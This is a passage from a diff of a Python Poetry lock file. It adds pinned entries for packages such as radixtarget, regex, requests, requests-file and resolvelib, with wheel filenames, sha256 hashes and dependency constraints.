"radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c1e55858a955ceb6946cebc5a1664cdfff682cf380e03015ac22f40a73785079"}, + {file = "radixtarget-4.2.0-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:773d317934ed1b3c86f808f80a4af4d3756b21a268173ad1ffd9b7505ec3fc73"}, + {file = "radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f7bab59aac38f370c10845b7a1fb4335a9bd2bc3978cb81ce60e534f97373f86"}, + {file = "radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:0bf49f4524f2b309e4d164f405336df116f257a80074cee669c5b5b51e8eb484"}, + {file = "radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:01dc45a2e24565f4f269bc724024fbefa9a12bd4f2b9c4d3542caa45ea3e4eb7"}, + {file = "radixtarget-4.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0a368e059ffba6e786f5552eb9b8638ad90195643074830314d8cec6f23f157c"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:abd9c2cc955b70efcb98d9d4dae4243947da9cd8011aee37ae0fcc7a3070e023"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:293d6380a37fa4649e94e8b0fe570a369b56f59960faa77a3dd68806b81d3bcc"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8764c45ea4935c6d9669c194db927acef892abf8f19395673605057a6e16c194"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a599c5013e0d059641f3149cc198116851cb867b2f3e82837ef5e76af7f78503"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f72667fb37dcf42c5431c8e6ad57e77f2d04952c0693c2cac9a5b887ef1b44f"}, + {file = "radixtarget-4.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:875285a83a813f593ff572a98cec865977e6849bd90be3ea30cfadcd59f7e672"}, + {file = "radixtarget-4.2.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:949a9230b1f3387381c82f9bc10222d311a495d0c6460cf6db87c24dfc619a80"}, + {file = "radixtarget-4.2.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:efcf68ee9173895669a2f4ae972e794e87fcee6b521c889c336a9f50d117546b"}, + {file = "radixtarget-4.2.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:45286b8405c01ed52590fe63ac006d023148818fcc67ec4b04ead47e505299c2"}, + {file = "radixtarget-4.2.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:86cf3e739963361c1c50f9faade741feb642518c7b93a516a8905db62511bf40"}, + {file = "radixtarget-4.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:9c72b5f883722b893fb2be5c9dc6618c00689495ca4be3ed6f54688091ec5c55"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:858831b2b369d8973ddd927bd870c353a4386d0a517ab3855a2fc73f2f1b61cc"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5a75d34f55009a4513dcb396b638ba7dba672d5eb107b7e9f0f0262b98775c4"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92f908ec996f49686a35dec20d47a98f0b24648c5eacc24c1969cbb13595107c"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2499a664b78bca3b0536d8ac3d57dabdba1652c9c9e746979a743873f4edc19"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:482b5b5c317bafb49fc1d9e5a648bddabb38dddec2be336545146d743d09622d"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:886001cc5679657cc643aa94858ef1a989bdfb168f60122222a25d5c0b11e8d5"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:9f230e01ee9333ca2202ced3a1e0d6ee24cdad698283b32c453ca1846762992f"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:4ef1b02bf1fb907e18403cb424b74b6ec05df6b103aba5e14768b6b208fd2e12"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d8160247559a35a4df41aa50c786afd0dbbd983e3071e815017e3fa62a64bc72"}, + {file = "radixtarget-4.2.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:c1f6d83716242d7b7a8463dca7d77f2b9be0edb7ea0f467917ee87e46ef658a6"}, + {file = "radixtarget-4.2.0.tar.gz", hash = "sha256:c6ba17832edeed75d63ce605327b79a2ed9b24a4a5eae9c1b1419adbdbfaf839"}, +] + +[[package]] +name = "regex" +version = "2026.4.4" +description = "Alternative regular expression module, to replace re." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "regex-2026.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:74fa82dcc8143386c7c0392e18032009d1db715c25f4ba22d23dc2e04d02a20f"}, + {file = "regex-2026.4.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a85b620a388d6c9caa12189233109e236b3da3deffe4ff11b84ae84e218a274f"}, + {file = "regex-2026.4.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2895506ebe32cc63eeed8f80e6eae453171cfccccab35b70dc3129abec35a5b8"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6780f008ee81381c737634e75c24e5a6569cc883c4f8e37a37917ee79efcafd9"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:88e9b048345c613f253bea4645b2fe7e579782b82cac99b1daad81e29cc2ed8e"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:be061028481186ba62a0f4c5f1cc1e3d5ab8bce70c89236ebe01023883bc903b"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d2228c02b368d69b724c36e96d3d1da721561fb9cc7faa373d7bf65e07d75cb5"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0540e5b733618a2f84e9cb3e812c8afa82e151ca8e19cf6c4e95c5a65198236f"}, + {file = "regex-2026.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cf9b1b2e692d4877880388934ac746c99552ce6bf40792a767fd42c8c99f136d"}, + {file = "regex-2026.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:011bb48bffc1b46553ac704c975b3348717f4e4aa7a67522b51906f99da1820c"}, + {file = "regex-2026.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:8512fcdb43f1bf18582698a478b5ab73f9c1667a5b7548761329ef410cd0a760"}, + {file = "regex-2026.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:867bddc63109a0276f5a31999e4c8e0eb7bbbad7d6166e28d969a2c1afeb97f9"}, + {file = "regex-2026.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:1b9a00b83f3a40e09859c78920571dcb83293c8004079653dd22ec14bbfa98c7"}, + {file = "regex-2026.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e355be718caf838aa089870259cf1776dc2a4aa980514af9d02c59544d9a8b22"}, + {file = "regex-2026.4.4-cp310-cp310-win32.whl", hash = "sha256:33bfda9684646d323414df7abe5692c61d297dbb0530b28ec66442e768813c59"}, + {file = "regex-2026.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:0709f22a56798457ae317bcce42aacee33c680068a8f14097430d9f9ba364bee"}, + {file = "regex-2026.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:ee9627de8587c1a22201cb16d0296ab92b4df5cdcb5349f4e9744d61db7c7c98"}, + {file = "regex-2026.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4c36a85b00fadb85db9d9e90144af0a980e1a3d2ef9cd0f8a5bef88054657c6"}, + {file = "regex-2026.4.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:dcb5453ecf9cd58b562967badd1edbf092b0588a3af9e32ee3d05c985077ce87"}, + {file = "regex-2026.4.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6aa809ed4dc3706cc38594d67e641601bd2f36d5555b2780ff074edfcb136cf8"}, + {file = "regex-2026.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:33424f5188a7db12958246a54f59a435b6cb62c5cf9c8d71f7cc49475a5fdada"}, + {file = "regex-2026.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7d346fccdde28abba117cc9edc696b9518c3307fbfcb689e549d9b5979018c6d"}, + {file = "regex-2026.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:415a994b536440f5011aa77e50a4274d15da3245e876e5c7f19da349caaedd87"}, + {file = "regex-2026.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:21e5eb86179b4c67b5759d452ea7c48eb135cd93308e7a260aa489ed2eb423a4"}, + {file = "regex-2026.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:312ec9dd1ae7d96abd8c5a36a552b2139931914407d26fba723f9e53c8186f86"}, + {file = "regex-2026.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a0d2b28aa1354c7cd7f71b7658c4326f7facac106edd7f40eda984424229fd59"}, + {file = "regex-2026.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:349d7310eddff40429a099c08d995c6d4a4bfaf3ff40bd3b5e5cb5a5a3c7d453"}, + {file = "regex-2026.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:e7ab63e9fe45a9ec3417509e18116b367e89c9ceb6219222a3396fa30b147f80"}, + {file = "regex-2026.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fe896e07a5a2462308297e515c0054e9ec2dd18dfdc9427b19900b37dfe6f40b"}, + {file = "regex-2026.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:eb59c65069498dbae3c0ef07bbe224e1eaa079825a437fb47a479f0af11f774f"}, + {file = "regex-2026.4.4-cp311-cp311-win32.whl", hash = "sha256:2a5d273181b560ef8397c8825f2b9d57013de744da9e8257b8467e5da8599351"}, + {file = "regex-2026.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:9542ccc1e689e752594309444081582f7be2fdb2df75acafea8a075108566735"}, + {file = "regex-2026.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:b5f9fb784824a042be3455b53d0b112655686fdb7a91f88f095f3fee1e2a2a54"}, + {file = "regex-2026.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:c07ab8794fa929e58d97a0e1796b8b76f70943fa39df225ac9964615cf1f9d52"}, + {file = "regex-2026.4.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2c785939dc023a1ce4ec09599c032cc9933d258a998d16ca6f2b596c010940eb"}, + {file = "regex-2026.4.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1b1ce5c81c9114f1ce2f9288a51a8fd3aeea33a0cc440c415bf02da323aa0a76"}, + {file = "regex-2026.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:760ef21c17d8e6a4fe8cf406a97cf2806a4df93416ccc82fc98d25b1c20425be"}, + {file = "regex-2026.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7088fcdcb604a4417c208e2169715800d28838fefd7455fbe40416231d1d47c1"}, + {file = "regex-2026.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:07edca1ba687998968f7db5bc355288d0c6505caa7374f013d27356d93976d13"}, + {file = "regex-2026.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:993f657a7c1c6ec51b5e0ba97c9817d06b84ea5fa8d82e43b9405de0defdc2b9"}, + {file = "regex-2026.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:2b69102a743e7569ebee67e634a69c4cb7e59d6fa2e1aa7d3bdbf3f61435f62d"}, + {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6dac006c8b6dda72d86ea3d1333d45147de79a3a3f26f10c1cf9287ca4ca0ac3"}, + {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:50a766ee2010d504554bfb5f578ed2e066898aa26411d57e6296230627cdefa0"}, + {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:9e2f5217648f68e3028c823df58663587c1507a5ba8419f4fdfc8a461be76043"}, + {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:39d8de85a08e32632974151ba59c6e9140646dcc36c80423962b1c5c0a92e244"}, + {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:55d9304e0e7178dfb1e106c33edf834097ddf4a890e2f676f6c5118f84390f73"}, + {file = "regex-2026.4.4-cp312-cp312-win32.whl", hash = "sha256:04bb679bc0bde8a7bfb71e991493d47314e7b98380b083df2447cda4b6edb60f"}, + {file = "regex-2026.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:db0ac18435a40a2543dbb3d21e161a6c78e33e8159bd2e009343d224bb03bb1b"}, + {file = "regex-2026.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:4ce255cc05c1947a12989c6db801c96461947adb7a59990f1360b5983fab4983"}, + {file = "regex-2026.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:62f5519042c101762509b1d717b45a69c0139d60414b3c604b81328c01bd1943"}, + {file = "regex-2026.4.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3790ba9fb5dd76715a7afe34dbe603ba03f8820764b1dc929dd08106214ed031"}, + {file = "regex-2026.4.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8fae3c6e795d7678963f2170152b0d892cf6aee9ee8afc8c45e6be38d5107fe7"}, + {file = "regex-2026.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:298c3ec2d53225b3bf91142eb9691025bab610e0c0c51592dde149db679b3d17"}, + {file = "regex-2026.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e9638791082eaf5b3ac112c587518ee78e083a11c4b28012d8fe2a0f536dfb17"}, + {file = "regex-2026.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ae3e764bd4c5ff55035dc82a8d49acceb42a5298edf6eb2fc4d328ee5dd7afae"}, + {file = "regex-2026.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ffa81f81b80047ba89a3c69ae6a0f78d06f4a42ce5126b0eb2a0a10ad44e0b2e"}, + {file = "regex-2026.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f56ebf9d70305307a707911b88469213630aba821e77de7d603f9d2f0730687d"}, + {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:773d1dfd652bbffb09336abf890bfd64785c7463716bf766d0eb3bc19c8b7f27"}, + {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d51d20befd5275d092cdffba57ded05f3c436317ee56466c8928ac32d960edaf"}, + {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:0a51cdb3c1e9161154f976cb2bef9894bc063ac82f31b733087ffb8e880137d0"}, + {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ae5266a82596114e41fb5302140e9630204c1b5f325c770bec654b95dd54b0aa"}, + {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c882cd92ec68585e9c1cf36c447ec846c0d94edd706fe59e0c198e65822fd23b"}, + {file = "regex-2026.4.4-cp313-cp313-win32.whl", hash = "sha256:05568c4fbf3cb4fa9e28e3af198c40d3237cf6041608a9022285fe567ec3ad62"}, + {file = "regex-2026.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:3384df51ed52db0bea967e21458ab0a414f67cdddfd94401688274e55147bb81"}, + {file = "regex-2026.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:acd38177bd2c8e69a411d6521760806042e244d0ef94e2dd03ecdaa8a3c99427"}, + {file = "regex-2026.4.4-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:f94a11a9d05afcfcfa640e096319720a19cc0c9f7768e1a61fceee6a3afc6c7c"}, + {file = "regex-2026.4.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:36bcb9d6d1307ab629edc553775baada2aefa5c50ccc0215fbfd2afcfff43141"}, + {file = "regex-2026.4.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:261c015b3e2ed0919157046d768774ecde57f03d8fa4ba78d29793447f70e717"}, + {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c228cf65b4a54583763645dcd73819b3b381ca8b4bb1b349dee1c135f4112c07"}, + {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:dd2630faeb6876fb0c287f664d93ddce4d50cd46c6e88e60378c05c9047e08ca"}, + {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6a50ab11b7779b849472337191f3a043e27e17f71555f98d0092fa6d73364520"}, + {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0734f63afe785138549fbe822a8cfeaccd1bae814c5057cc0ed5b9f2de4fc883"}, + {file = "regex-2026.4.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4ee50606cb1967db7e523224e05f32089101945f859928e65657a2cbb3d278b"}, + {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6c1818f37be3ca02dcb76d63f2c7aaba4b0dc171b579796c6fbe00148dfec6b1"}, + {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f5bfc2741d150d0be3e4a0401a5c22b06e60acb9aa4daa46d9e79a6dcd0f135b"}, + {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:504ffa8a03609a087cad81277a629b6ce884b51a24bd388a7980ad61748618ff"}, + {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:70aadc6ff12e4b444586e57fc30771f86253f9f0045b29016b9605b4be5f7dfb"}, + {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f4f83781191007b6ef43b03debc35435f10cad9b96e16d147efe84a1d48bdde4"}, + {file = "regex-2026.4.4-cp313-cp313t-win32.whl", hash = "sha256:e014a797de43d1847df957c0a2a8e861d1c17547ee08467d1db2c370b7568baa"}, + {file = "regex-2026.4.4-cp313-cp313t-win_amd64.whl", hash = "sha256:b15b88b0d52b179712632832c1d6e58e5774f93717849a41096880442da41ab0"}, + {file = "regex-2026.4.4-cp313-cp313t-win_arm64.whl", hash = "sha256:586b89cdadf7d67bf86ae3342a4dcd2b8d70a832d90c18a0ae955105caf34dbe"}, + {file = "regex-2026.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:2da82d643fa698e5e5210e54af90181603d5853cf469f5eedf9bfc8f59b4b8c7"}, + {file = "regex-2026.4.4-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:54a1189ad9d9357760557c91103d5e421f0a2dabe68a5cdf9103d0dcf4e00752"}, + {file = "regex-2026.4.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:76d67d5afb1fe402d10a6403bae668d000441e2ab115191a804287d53b772951"}, + {file = "regex-2026.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7cd3e4ee8d80447a83bbc9ab0c8459781fa77087f856c3e740d7763be0df27f"}, + {file = "regex-2026.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e19e18c568d2866d8b6a6dfad823db86193503f90823a8f66689315ba28fbe8"}, + {file = "regex-2026.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7698a6f38730fd1385d390d1ed07bb13dce39aa616aca6a6d89bea178464b9a4"}, + {file = "regex-2026.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:173a66f3651cdb761018078e2d9487f4cf971232c990035ec0eb1cdc6bf929a9"}, + {file = "regex-2026.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa7922bbb2cc84fa062d37723f199d4c0cd200245ce269c05db82d904db66b83"}, + {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:59f67cd0a0acaf0e564c20bbd7f767286f23e91e2572c5703bf3e56ea7557edb"}, + {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:475e50f3f73f73614f7cba5524d6de49dee269df00272a1b85e3d19f6d498465"}, + {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:a1c0c7d67b64d85ac2e1879923bad2f08a08f3004055f2f406ef73c850114bd4"}, + {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:1371c2ccbb744d66ee63631cc9ca12aa233d5749972626b68fe1a649dd98e566"}, + {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:59968142787042db793348a3f5b918cf24ced1f23247328530e063f89c128a95"}, + {file = "regex-2026.4.4-cp314-cp314-win32.whl", hash = "sha256:59efe72d37fd5a91e373e5146f187f921f365f4abc1249a5ab446a60f30dd5f8"}, + {file = "regex-2026.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:e0aab3ff447845049d676827d2ff714aab4f73f340e155b7de7458cf53baa5a4"}, + {file = "regex-2026.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:a7a5bb6aa0cf62208bb4fa079b0c756734f8ad0e333b425732e8609bd51ee22f"}, + {file = "regex-2026.4.4-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:97850d0638391bdc7d35dc1c1039974dcb921eaafa8cc935ae4d7f272b1d60b3"}, + {file = "regex-2026.4.4-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:ee7337f88f2a580679f7bbfe69dc86c043954f9f9c541012f49abc554a962f2e"}, + {file = "regex-2026.4.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7429f4e6192c11d659900c0648ba8776243bf396ab95558b8c51a345afeddde6"}, + {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc4f10fbd5dd13dcf4265b4cc07d69ca70280742870c97ae10093e3d66000359"}, + {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a152560af4f9742b96f3827090f866eeec5becd4765c8e0d3473d9d280e76a5a"}, + {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:54170b3e95339f415d54651f97df3bff7434a663912f9358237941bbf9143f55"}, + {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:07f190d65f5a72dcb9cf7106bfc3d21e7a49dd2879eda2207b683f32165e4d99"}, + {file = "regex-2026.4.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9a2741ce5a29d3c84b0b94261ba630ab459a1b847a0d6beca7d62d188175c790"}, + {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b26c30df3a28fd9793113dac7385a4deb7294a06c0f760dd2b008bd49a9139bc"}, + {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:421439d1bee44b19f4583ccf42670ca464ffb90e9fdc38d37f39d1ddd1e44f1f"}, + {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:b40379b53ecbc747fd9bdf4a0ea14eb8188ca1bd0f54f78893a39024b28f4863"}, + {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:08c55c13d2eef54f73eeadc33146fb0baaa49e7335eb1aff6ae1324bf0ddbe4a"}, + {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9776b85f510062f5a75ef112afe5f494ef1635607bf1cc220c1391e9ac2f5e81"}, + {file = "regex-2026.4.4-cp314-cp314t-win32.whl", hash = "sha256:385edaebde5db5be103577afc8699fea73a0e36a734ba24870be7ffa61119d74"}, + {file = "regex-2026.4.4-cp314-cp314t-win_amd64.whl", hash = "sha256:5d354b18839328927832e2fa5f7c95b7a3ccc39e7a681529e1685898e6436d45"}, + {file = "regex-2026.4.4-cp314-cp314t-win_arm64.whl", hash = "sha256:af0384cb01a33600c49505c27c6c57ab0b27bf84a74e28524c92ca897ebdac9d"}, + {file = "regex-2026.4.4.tar.gz", hash = "sha256:e08270659717f6973523ce3afbafa53515c4dc5dcad637dc215b6fd50f689423"}, +] + +[[package]] +name = "requests" +version = "2.33.1" +description = "Python HTTP for Humans." +optional = false +python-versions = ">=3.10" +groups = ["main", "dev", "docs"] +files = [ + {file = "requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a"}, + {file = "requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517"}, +] + +[package.dependencies] +certifi = ">=2023.5.7" +charset_normalizer = ">=2,<4" +idna = ">=2.5,<4" +urllib3 = ">=1.26,<3" + +[package.extras] +socks = ["PySocks (>=1.5.6,!=1.5.7)"] +use-chardet-on-py3 = ["chardet (>=3.0.2,<8)"] + +[[package]] +name = "requests-file" +version = "3.0.1" +description = "File transport adapter for Requests" +optional = false +python-versions = "*" +groups = ["main", "dev"] +files = [ + {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, + {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, +] + +[package.dependencies] +requests = ">=1.0.0" + +[[package]] +name = "resolvelib" +version = "1.0.1" +description = "Resolve abstract dependencies into concrete ones" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf"}, + {file = "resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309"}, +] + +[package.extras] +examples = ["html5lib", "packaging", "pygraphviz", "requests"] +lint = ["black", "flake8", "isort", "mypy", "types-requests"] +release = ["build", "towncrier", "twine"] +test = ["commentjson", "packaging", 